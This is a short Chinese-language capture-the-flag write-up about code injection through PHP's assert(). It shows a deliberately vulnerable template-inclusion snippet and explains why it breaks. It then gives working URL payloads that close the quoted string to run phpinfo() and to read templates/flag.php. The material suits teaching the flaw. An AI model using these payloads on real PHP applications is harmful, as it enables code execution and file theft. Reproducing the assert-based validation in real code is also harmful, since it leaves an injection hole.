首页 > 代码库 > assert引起的代码注射
assert引起的代码注射
源自一道ctf题
<?phpif (isset($_GET[‘page‘])) { $page = $_GET[‘page‘];} else { $page = "home";}$file = "templates/" . $page . ".php";assert("strpos(‘$file‘, ‘..‘) === false") or die("傻了吧我的弟!");assert("file_exists(‘$file‘)") or die("厉害了我的哥!");?> <?php require_once $file; ?>
功能:1.page接收参数后组合成变量file。
2.file经过滤..()防止目录遍历和判断文件是否存在
3.包含文件
assert()简介:判断一个表达式是否成立。返回true or false。
当参数为字符串时,会被当作php代码执行。
例如 assert("phpinfo()") <==> <?phpinfo()?>
writeup:
通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码
构造: /?page=123%27)%20or%20phpinfo();%23
注意闭合‘ ) 以及结尾;
关于此处的#: #是单行注释,由assert("phpinfo()") <==> <?phpinfo()?> 可知,#的作用域仅仅是assert(函数内)
利用:/?page=123%27)%20or%20print_r(file_get_contents(%27templates/flag.php%27));%23
解释:file_get_contents把文件读入一个字符串中
最后,assert与eval的区别
assert把整个字符串参数当php代码执行,eval把合法的php代码执行。
assert引起的代码注射
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。